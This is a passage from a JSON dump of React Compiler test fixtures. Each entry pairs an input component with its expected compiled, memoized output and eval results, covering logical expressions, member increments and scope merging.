     <Component />\n    </Context>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Wrapper,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression-object.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(props) {\n  // The mutable range for a extens the entire body.\n  // commenting out the last line of InferMutableRanges fixes it.\n  // my guess of what's going on is that a is aliased into the return value object literal,\n  // and that alias makes it look like the range of a needs to be extended to that point.\n  // but what's weird is that the end of a's range doesn't quite extend to the object.\n  let a = props.a || (props.b && props.c && props.d);\n  let b = (props.a && props.b && props.c) || props.d;\n  return {a, b};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(props) {\n  const $ = _c(3);\n\n  const a = props.a || (props.b && props.c && props.d);\n  const b = (props.a && props.b && props.c) || props.d;\n  let t0;\n  if ($[0] !== a || $[1] !== b) {\n    t0 = { a, b };\n    $[0] = a;\n    $[1] = b;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression-object.js",
    "content": "function component(props) {\n  // The mutable range for a extens the entire body.\n  // commenting out the last line of InferMutableRanges fixes it.\n  // my guess of what's going on is that a is aliased into the return value object literal,\n  // and that alias makes it look like the range of a needs to be extended to that point.\n  // but what's weird is that the end of a's range doesn't quite extend to the object.\n  let a = props.a || (props.b && props.c && props.d);\n  let b = (props.a && props.b && props.c) || props.d;\n  return {a, b};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(props) {\n  let a = props.a || (props.b && props.c && props.d);\n  let b = (props.a && props.b && props.c) || props.d;\n  return a ? b : props.c;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction component(props) {\n  const a = props.a || (props.b && props.c && props.d);\n  const b = (props.a && props.b && props.c) || props.d;\n  return a ? b : props.c;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression.js",
    "content": "function component(props) {\n  let a = props.a || (props.b && props.c && props.d);\n  let b = (props.a && props.b && props.c) || props.d;\n  return a ? b : props.c;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-reorder.flow.expect.md",
    "content": "\n## Input\n\n```javascript\n//@flow\n\nconst foo = undefined;\n\ncomponent C(...{scope = foo ?? null}: any) {\n  return scope;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{scope: undefined}],\n};\n\n```\n\n## Code\n\n```javascript\nconst foo = undefined;\n\nfunction C(t0) {\n  const { scope: t1 } = t0;\n  const scope = t1 === undefined ? (foo ?? null) : t1;\n  return scope;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{ scope: undefined }],\n};\n\n```\n      \n### Eval output\n(kind: ok) null"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-reorder.flow.js",
    "content": "//@flow\n\nconst foo = undefined;\n\ncomponent C(...{scope = foo ?? null}: any) {\n  return scope;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{scope: undefined}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/loop-unused-let.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo() {\n  while (1) {\n    let foo;\n  }\n}\n\n```\n\n## Code\n\n```javascript\nfunction useFoo() {\n  while (1) {}\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/loop-unused-let.js",
    "content": "function useFoo() {\n  while (1) {\n    let foo;\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/maybe-mutate-object-in-callback.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {mutate} = require('shared-runtime');\n\nfunction Component(props) {\n  const object = {};\n  // We optimistically assume function calls within callbacks don't mutate (unless the function\n  // is known to be called during render), so this should get memoized\n  const onClick = () => {\n    mutate(object);\n  };\n  return <Foo callback={onClick}>{props.children}</Foo>;\n}\n\nfunction Foo({children}) {\n  return children;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{children: <div>Hello</div>}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { mutate } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const object = {};\n    t0 = () => {\n      mutate(object);\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const onClick = t0;\n  let t1;\n  if ($[1] !== props.children) {\n    t1 = <Foo callback={onClick}>{props.children}</Foo>;\n    $[1] = props.children;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nfunction Foo(t0) {\n  const { children } = t0;\n  return children;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ children: <div>Hello</div> }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>Hello</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/maybe-mutate-object-in-callback.js",
    "content": "const {mutate} = require('shared-runtime');\n\nfunction Component(props) {\n  const object = {};\n  // We optimistically assume function calls within callbacks don't mutate (unless the function\n  // is known to be called during render), so this should get memoized\n  const onClick = () => {\n    mutate(object);\n  };\n  return <Foo callback={onClick}>{props.children}</Foo>;\n}\n\nfunction Foo({children}) {\n  return children;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{children: <div>Hello</div>}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mege-consecutive-scopes-dont-merge-with-different-deps.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {getNumber, identity} = require('shared-runtime');\n\nfunction Component(props) {\n  // Two scopes: one for `getNumber()`, one for the object literal.\n  // Neither has dependencies so they should merge\n  return {a: getNumber(), b: identity(props.id), c: ['static']};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{id: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { getNumber, identity } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const $ = _c(6);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = getNumber();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  let t1;\n  if ($[1] !== props.id) {\n    t1 = identity(props.id);\n    $[1] = props.id;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = [\"static\"];\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== t1) {\n    t3 = { a: t0, b: t1, c: t2 };\n    $[4] = t1;\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ id: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":4,\"b\":42,\"c\":[\"static\"]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mege-consecutive-scopes-dont-merge-with-different-deps.js",
    "content": "const {getNumber, identity} = require('shared-runtime');\n\nfunction Component(props) {\n  // Two scopes: one for `getNumber()`, one for the object literal.\n  // Neither has dependencies so they should merge\n  return {a: getNumber(), b: identity(props.id), c: ['static']};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{id: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/member-inc.expect.md",
    "content": "\n## Input\n\n```javascript\n//@flow\n\ncomponent Foo() {\n  let x = {a: 1};\n  x.a++;\n  x.a--;\n  console.log(++x.a);\n  console.log(x.a++);\n\n  console.log(x.a);\n  let y = x.a++;\n  console.log(y);\n  console.log(x.a);\n\n  console.log((++x.a).toString(), (x.a++).toString(), x.a);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Foo() {\n  const x = { a: 1 };\n  x.a = x.a + 1;\n  x.a = x.a - 1;\n  console.log((x.a = x.a + 1));\n  const t0 = x.a;\n  x.a = t0 + 1;\n  console.log(t0);\n\n  console.log(x.a);\n  const t1 = x.a;\n  x.a = t1 + 1;\n  const y = t1;\n  console.log(y);\n  console.log(x.a);\n\n  const t2 = (x.a = x.a + 1).toString();\n  const t3 = x.a;\n  x.a = t3 + 1;\n  console.log(t2, t3.toString(), x.a);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \nlogs: [2,2,3,3,4,'5','5',6]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/member-inc.js",
    "content": "//@flow\n\ncomponent Foo() {\n  let x = {a: 1};\n  x.a++;\n  x.a--;\n  console.log(++x.a);\n  console.log(x.a++);\n\n  console.log(x.a);\n  let y = x.a++;\n  console.log(y);\n  console.log(x.a);\n\n  console.log((++x.a).toString(), (x.a++).toString(), x.a);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoize-primitive-function-calls.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {makeObject_Primitives, ValidateMemoization} from 'shared-runtime';\n\nfunction Component(props) {\n  const result = useMemo(() => {\n    return makeObject(props.value).value + 1;\n  }, [props.value]);\n  return <ValidateMemoization inputs={[props.value]} output={result} />;\n}\n\nfunction makeObject(value) {\n  console.log(value);\n  return {value};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  sequentialRenders: [\n    {value: 42},\n    {value: 42},\n    {value: 3.14},\n    {value: 3.14},\n    {value: 42},\n    {value: 3.14},\n    {value: 42},\n    {value: 3.14},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees\nimport { useMemo } from \"react\";\nimport { makeObject_Primitives, ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(7);\n  let t0;\n  if ($[0] !== props.value) {\n    t0 = makeObject(props.value);\n    $[0] = props.value;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const result = t0.value + 1;\n  let t1;\n  if ($[2] !== props.value) {\n    t1 = [props.value];\n    $[2] = props.value;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  let t2;\n  if ($[4] !== result || $[5] !== t1) {\n    t2 = <ValidateMemoization inputs={t1} output={result} />;\n    $[4] = result;\n    $[5] = t1;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\n\nfunction makeObject(value) {\n  console.log(value);\n  return { value };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n  sequentialRenders: [\n    { value: 42 },\n    { value: 42 },\n    { value: 3.14 },\n    { value: 3.14 },\n    { value: 42 },\n    { value: 3.14 },\n    { value: 42 },\n    { value: 3.14 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[42],\"output\":43}</div>\n<div>{\"inputs\":[42],\"output\":43}</div>\n<div>{\"inputs\":[3.14],\"output\":4.140000000000001}</div>\n<div>{\"inputs\":[3.14],\"output\":4.140000000000001}</div>\n<div>{\"inputs\":[42],\"output\":43}</div>\n<div>{\"inputs\":[3.14],\"output\":4.140000000000001}</div>\n<div>{\"inputs\":[42],\"output\":43}</div>\n<div>{\"inputs\":[3.14],\"output\":4.140000000000001}</div>\nlogs: [42,3.14,42,3.14,42,3.14]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoize-primitive-function-calls.js",
    "content": "// @compilationMode:\"infer\" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {makeObject_Primitives, ValidateMemoization} from 'shared-runtime';\n\nfunction Component(props) {\n  const result = useMemo(() => {\n    return makeObject(props.value).value + 1;\n  }, [props.value]);\n  return <ValidateMemoization inputs={[props.value]} output={result} />;\n}\n\nfunction makeObject(value) {\n  console.log(value);\n  return {value};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  sequentialRenders: [\n    {value: 42},\n    {value: 42},\n    {value: 3.14},\n    {value: 3.14},\n    {value: 42},\n    {value: 3.14},\n    {value: 42},\n    {value: 3.14},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoize-value-block-value-conditional.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo(props) {\n  let x;\n  true ? (x = []) : (x = {});\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo(props) {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    true ? (x = []) : (x = {});\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) []"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoize-value-block-value-conditional.js",
    "content": "function Foo(props) {\n  let x;\n  true ? (x = []) : (x = {});\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoize-value-block-value-logical-no-sequence.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo(props) {\n  let x;\n  true && (x = []);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo(props) {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    true && (x = []);\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) []"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoize-value-block-value-logical-no-sequence.js",
    "content": "function Foo(props) {\n  let x;\n  true && (x = []);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoize-value-block-value-logical.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo(props) {\n  let x;\n  true && ((x = []), null);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo(props) {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    true && ((x = []), null);\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) []"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoize-value-block-value-logical.js",
    "content": "function Foo(props) {\n  let x;\n  true && ((x = []), null);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoize-value-block-value-sequence.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo(props) {\n  let x;\n  (x = []), null;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo(props) {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    (x = []), null;\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) []"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoize-value-block-value-sequence.js",
    "content": "function Foo(props) {\n  let x;\n  (x = []), null;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-nested-scopes.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {getNumber} = require('shared-runtime');\n\nfunction Component(props) {\n  let x;\n  // Two scopes: one for `getNumber()`, one for the object literal.\n  // Neither has dependencies so they should merge\n  if (props.cond) {\n    x = {session_id: getNumber()};\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { getNumber } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const $ = _c(1);\n  let x;\n\n  if (props.cond) {\n    let t0;\n    if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t0 = { session_id: getNumber() };\n      $[0] = t0;\n    } else {\n      t0 = $[0];\n    }\n    x = t0;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"session_id\":4}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-nested-scopes.js",
    "content": "const {getNumber} = require('shared-runtime');\n\nfunction Component(props) {\n  let x;\n  // Two scopes: one for `getNumber()`, one for the object literal.\n  // Neither has dependencies so they should merge\n  if (props.cond) {\n    x = {session_id: getNumber()};\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-deps-subset-of-decls.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState} from 'react';\n\nfunction Component() {\n  const [count, setCount] = useState(0);\n  return (\n    <div>\n      <button onClick={() => setCount(count - 1)}>Decrement</button>\n      {/**\n       * The scope for the <button> depends on just the scope for the callback,\n       * but the previous scope (after merging) will declare both the above\n       * <button> and the callback.\n       */}\n      <button onClick={() => setCount(count + 1)}>Increment</button>\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useState } from \"react\";\n\nfunction Component() {\n  const $ = _c(2);\n  const [count, setCount] = useState(0);\n  let t0;\n  if ($[0] !== count) {\n    t0 = (\n      <div>\n        <button onClick={() => setCount(count - 1)}>Decrement</button>\n\n        <button onClick={() => setCount(count + 1)}>Increment</button>\n      </div>\n    );\n    $[0] = count;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><button>Decrement</button><button>Increment</button></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-deps-subset-of-decls.js",
    "content": "import {useState} from 'react';\n\nfunction Component() {\n  const [count, setCount] = useState(0);\n  return (\n    <div>\n      <button onClick={() => setCount(count - 1)}>Decrement</button>\n      {/**\n       * The scope for the <button> depends on just the scope for the callback,\n       * but the previous scope (after merging) will declare both the above\n       * <button> and the callback.\n       */}\n      <button onClick={() => setCount(count + 1)}>Increment</button>\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-no-deps.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {getNumber} = require('shared-runtime');\n\nfunction Component(props) {\n  // Two scopes: one for `getNumber()`, one for the object literal.\n  // Neither has dependencies so they should merge\n  return {session_id: getNumber()};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { getNumber } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { session_id: getNumber() };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"session_id\":4}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-no-deps.js",
    "content": "const {getNumber} = require('shared-runtime');\n\nfunction Component(props) {\n  // Two scopes: one for `getNumber()`, one for the object literal.\n  // Neither has dependencies so they should merge\n  return {session_id: getNumber()};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-objects.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n// This is a translation of the original merge-consecutive-scopes which uses plain objects\n// to describe the UI instead of JSX. The JSXText elements in that fixture happen to\n// prevent scome scopes from merging, which concealed a bug with the merging logic.\n// By avoiding JSX we eliminate extraneous instructions and more accurately test the merging.\nfunction Component(props) {\n  let [state, setState] = useState(0);\n  return [\n    {component: Stringify, props: {text: 'Counter'}},\n    {component: 'span', props: {children: [state]}},\n    {\n      component: 'button',\n      props: {\n        'data-testid': 'button',\n        onClick: () => setState(state + 1),\n        children: ['increment'],\n      },\n    },\n  ];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useState } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\n// This is a translation of the original merge-consecutive-scopes which uses plain objects\n// to describe the UI instead of JSX. The JSXText elements in that fixture happen to\n// prevent scome scopes from merging, which concealed a bug with the merging logic.\n// By avoiding JSX we eliminate extraneous instructions and more accurately test the merging.\nfunction Component(props) {\n  const $ = _c(11);\n  const [state, setState] = useState(0);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { component: Stringify, props: { text: \"Counter\" } };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  let t1;\n  if ($[1] !== state) {\n    t1 = { component: \"span\", props: { children: [state] } };\n    $[1] = state;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[3] !== state) {\n    t2 = () => setState(state + 1);\n    $[3] = state;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  let t3;\n  if ($[5] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t3 = [\"increment\"];\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  let t4;\n  if ($[6] !== t2) {\n    t4 = {\n      component: \"button\",\n      props: { \"data-testid\": \"button\", onClick: t2, children: t3 },\n    };\n    $[6] = t2;\n    $[7] = t4;\n  } else {\n    t4 = $[7];\n  }\n  let t5;\n  if ($[8] !== t1 || $[9] !== t4) {\n    t5 = [t0, t1, t4];\n    $[8] = t1;\n    $[9] = t4;\n    $[10] = t5;\n  } else {\n    t5 = $[10];\n  }\n  return t5;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"component\":\"[[ function params=1 ]]\",\"props\":{\"text\":\"Counter\"}},{\"component\":\"span\",\"props\":{\"children\":[0]}},{\"component\":\"button\",\"props\":{\"data-testid\":\"button\",\"onClick\":\"[[ function params=0 ]]\",\"children\":[\"increment\"]}}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-objects.js",
    "content": "import {useState} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n// This is a translation of the original merge-consecutive-scopes which uses plain objects\n// to describe the UI instead of JSX. The JSXText elements in that fixture happen to\n// prevent scome scopes from merging, which concealed a bug with the merging logic.\n// By avoiding JSX we eliminate extraneous instructions and more accurately test the merging.\nfunction Component(props) {\n  let [state, setState] = useState(0);\n  return [\n    {component: Stringify, props: {text: 'Counter'}},\n    {component: 'span', props: {children: [state]}},\n    {\n      component: 'button',\n      props: {\n        'data-testid': 'button',\n        onClick: () => setState(state + 1),\n        children: ['increment'],\n      },\n    },\n  ];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Component() {\n  let [state, setState] = useState(0);\n  return (\n    <div>\n      <Stringify text=\"Counter\" />\n      <span>{state}</span>\n      <button data-testid=\"button\" onClick={() => setState(state + 1)}>\n        increment\n      </button>\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useState } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component() {\n  const $ = _c(8);\n  const [state, setState] = useState(0);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <Stringify text=\"Counter\" />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  let t1;\n  if ($[1] !== state) {\n    t1 = <span>{state}</span>;\n    $[1] = state;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[3] !== state) {\n    t2 = (\n      <button data-testid=\"button\" onClick={() => setState(state + 1)}>\n        increment\n      </button>\n    );\n    $[3] = state;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  let t3;\n  if ($[5] !== t1 || $[6] !== t2) {\n    t3 = (\n      <div>\n        {t0}\n        {t1}\n        {t2}\n      </div>\n    );\n    $[5] = t1;\n    $[6] = t2;\n    $[7] = t3;\n  } else {\n    t3 = $[7];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>{\"text\":\"Counter\"}</div><span>0</span><button data-testid=\"button\">increment</button></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes.js",
